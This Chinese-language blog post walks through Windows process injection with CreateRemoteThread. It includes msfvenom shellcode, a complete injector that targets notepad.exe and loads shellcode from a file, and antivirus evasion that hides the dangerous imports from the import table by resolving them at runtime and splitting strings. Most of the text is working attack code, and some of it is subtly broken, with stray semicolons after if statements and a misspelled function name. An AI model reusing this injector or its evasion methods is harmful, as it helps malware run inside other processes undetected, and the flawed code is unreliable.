進程注入的探索
前言
文章涉及的技術并不深,只是本人在學習進程注入過程中的記錄,文章的內容將涉及到進程注入基礎、通過快照自動獲取Pid、分離加載shellcode、IAT導入表的基本處理、靜態源碼基本處理等,過程中需要理解的部分,我會盡可能言簡意賅。
0x01 簡單描述
進程注入就是給一個正在運行的程序開辟一塊內存,把shellcode放入內存,然后用一個線程去執行shellcode。
0x02 shellcode
所有代碼示例都使用從 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 執行 Calc.exe
0x03 代碼實現
關于 CreateRemoteThread() 進程注入,實際上需要實現四個主要目標:
- OpenProcess() 打開將要注入進程獲取句柄
- VirtualAllocEx() – 能夠訪問外部進程以便在其虛擬地址空間內分配內存。
- WriteProcessMemory( ) – 將 shellcode 寫入分配的內存。
- CreateRemoteThread() – 讓外部進程在另一個線程中執行上述 shellcode。
獲取目標進程句柄 OpenProcess()
OpenProcess 函數打開一個現有的進程對象。
HANDLE OpenProcess( DWORD dwDesiredAccess, // 渴望得到的訪問權限(標志),那肯定是PROCESS_ALL_ACCESS,所有權限啊 BOOL bInheritHandle, // 是否繼承句柄,一般不 DWORD dwProcessId // 進程標識符,即受害者進程的PID);
申請內存 VirtualAllocEx()
我們首先需要分配一塊與我們的 shellcode 大小相同的內存。VirtualAllocEx 是我們需要調用的 Windows API,以便初始化位于指定進程(即我們要注入的進程)的虛擬地址空間內的內存區域中的緩沖區空間。
VirtualAllocEx – 與VirtualAlloc (HANDLE hProcess)相比,此 API 調用需要一個附加參數,后者是受害者進程的句柄。
LPVOID VirtualAllocEx( HANDLE hProcess, // 申請內存所在的進程句柄 LPVOID lpAddress, // 保留頁面的內存地址,一般用NULL自動分配 SIZE_T dwSize, // 欲分配的內存大小,字節為單位,通常是shellcode大小 DWORD flAllocationType, // 指定要分配的內存類型,常用 MEM_RESERVE | MEM_COMMIT DWORD flProtect // 指定分配的內存保護,由于它將包含要執行的代碼,因此常用 PAGE_EXECUTE_READWRITE,可讀可寫可執行);
寫進程內存 WriteProcessMemory()
現在我們已經分配了一個與我們的 shellcode 大小相同的緩沖區,我們可以將我們的 shellcode 寫入該緩沖區。
WriteProcessMemory() – 將數據寫入指定進程中的內存區域。BOOL WriteProcessMemory( HANDLE hProcess, // 要向其中寫入數據的進程,即由OpenProcess返回的進程句柄 LPVOID lpBaseAddress, // 要寫入的數據的首地址,VirtualAllocEx的返回值 LPCVOID lpBuffer, // 指向要寫的數據的指針,該指針必須是const指針,即shellcode SIZE_T nSize, // 要寫入的字節數,shellcode大小 SIZE_T *lpNumberOfBytesWritten // 接收傳輸到指定進程中的字節數,通常為NULL);
創建遠程線程 CreateRemoteThread()
將 shellcode 加載到受害進程分配的虛擬內存空間后,我們現在可以告訴受害進程從我們的 shellcode 緩沖區地址開始創建一個新線程。
CreateRemoteThread() – 創建一個在另一個進程的虛擬地址空間中運行的線程。
HANDLE CreateRemoteThread( HANDLE hProcess, // 線程所屬進程的進程句柄,即OpenProcess返回的句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 線程的安全屬性,通常為NULL SIZE_T dwStackSize, // 線程棧初始大小,以字節為單位,通常為0,即代表使用系統默認大小. LPTHREAD_START_ROUTINE lpStartAddress, // 在遠程進程的地址空間中,該進程的線程函數的起始地址。VirtualAllocEx返回值,注意需要強制類型轉換成 LPTHREAD_START_ROUTINE LPVOID lpParameter, // 傳給線程函數的參數的指針,這里為NULL,在DLL注入的時候有重要意義 DWORD dwCreationFlags, // 線程的創建標志,通常為0,即線程創建后立即運行 LPDWORD lpThreadId // 指向所創建線程ID的指針,通常為NULL);
基礎代碼
#include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c""\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0""\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04""\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59""\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48""\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00""\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f""\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff""\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb""\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c""\x63\x2e\x65\x78\x65\x00";
printf("alloc:%p\n", buf);HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)FALSE,
//(DWORD)atoi(pid));
atoi(argv[1]));
if (Process == NULL)
{
printf("\nopenprocess error%d\n", GetLastError());
}
printf("pid:%d",atoi(argv[1]));
void * exec = VirtualAllocEx( Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if (exec == NULL)
{
printf("VirtualAllocEx error%d\n", GetLastError());
} BOOL Memory = WriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
sizeof buf,
NULL );
if (Memory == 0)
{
printf("WriteProcessMemory:%d\n", GetLastError());
} HANDLE thred = CreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL );
if (thred == NULL)
{
printf("CreateRemoteThread:%d\n", GetLastError());
} }

拍攝快照自動獲取pid
官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes
// 拍攝快照HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);if (Snapshot == INVALID_HANDLE_VALUE){
printf("CreateToolhelp32Snapshot:%d\n", GetLastError());}//初始化PROCESSENTRY32 pe32;pe32.dwSize = sizeof(PROCESSENTRY32);BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);if (First == FALSE){
printf("Process32First:%d\n", GetLastError());}//匹配注入進程名字DWORD pid;while (First){
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);}

分離加載 shellcode
HANDLE openinfile = CreateFileA(
//"e:\\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (openinfile == INVALID_HANDLE_VALUE);
{
printf("CreateFile Error:%d\n", GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf("GetFileSize Error:%d\n", GetLastError());
}
//
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf("\\x%02x", (unsigned char)buf[i]);
}

IAT,導入地址表(Import Address Table)
IAT表是執行程序或者dll為了實現動態加載和重定位函數地址,用到的一個導入函數地址表。這里面記錄了每個導入函數的名字和所在的dll名稱,在pe加載的時候系統會加載這些dll到用戶的地址空間然后把函數地址覆蓋這個表里的函數地址,然后重構所有用到這個表的代碼,讓其調用直接指向實際函數地址(PE是否覆蓋不確定,驅動會這么做),PE的IAT表會留在內存,驅動的就丟棄了。
翻譯:IAT是一種表格,用來記錄程序正在使用哪些庫中的哪些函數。
如果一個文件的文件大小在300KB以內,并且導入函數又有Virtual Alloc、CreateThread等高危函數、且VirtualAlloc的最后一個參數是0x40,那么此文件極有可能是高危文件,會被重點關注。
這里使用VS自帶的 dumpbin查看

沒修改iat之前 可以看到存在高危函數 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等

在字符串中還能看到敏感函數關鍵字,解決辦法:通過拆分、源代碼混淆、加殼等即可。

GetProcAddress 獲取函數地址
GetProcAddress這個API在Kernel32.dll中被導出,主要功能是從一個加載的模塊中獲取函數的地址。
typedef LPVOID(WINAPI* Virtual_AllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect ); typedef BOOL (WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten ); typedef HANDLE (WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId );
//避免高危字符串
char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 };
HMODULE hKer32 = LoadLibraryA(ker32);
char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0};
Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
修改后查看一下導入表,高危函數已不在iat中了

完整代碼
#include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <TCHAR.h> typedef LPVOID(WINAPI* ImportVirtualAllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
); typedef BOOL(WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
); typedef HANDLE(WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
); void code(LPCSTR lnFileName) {
//char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 };
//HMODULE hKer32 = LoadLibraryA(ker32);
//char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 };
//Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx");
ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx");
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory");
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
HANDLE openinfile = CreateFileA(
//"e:\\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (openinfile == INVALID_HANDLE_VALUE);
{
printf("CreateFile Error:%d\n", GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf("GetFileSize Error:%d\n", GetLastError());
}
//
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf("\\x%02x", (unsigned char)buf[i]);
}
//
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot:%d\n", GetLastError());
}
//
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);
if (First == FALSE)
{
printf("Process32First:%d\n", GetLastError());
}
//
DWORD pid;
while (First)
{
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);
}
HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)false,
//(DWORD)atoi(pid));
(DWORD)pid
);
if (Process == NULL)
{
CloseHandle(Process);
printf("\nopenprocess error%d\n", GetLastError());
}
_tprintf(TEXT("\npid:%d\n"), pe32.th32ProcessID);
HANDLE exec = MyVirtualAllocEx(
Process,
NULL,
//sizeof(buf),
size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL)
{
printf("VirtualAllocEx error%d\n", GetLastError());
}
BOOL Memory = MyWriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
//sizeof buf,
size,
NULL);
if (Memory == 0)
{
printf("WriteProcessMemory:%d\n", GetLastError());
}
HANDLE thred = MyCreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL);
if (thred == NULL)
{
CloseHandle(thred);
printf("CreateRemoteThread:%d\n", GetLastError());
} } int main(int argc, char* argv[]) {
//int main()
if (argc != 2)
{
printf("please bin");
}
else
{
code(argv[1]);
} }
后續還可以嘗試增加syscall直接調用、回調函數執行、申請內存優化、高強度加密混淆等等,還請師傅自行搭配使用。
0x04 相關推薦
https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator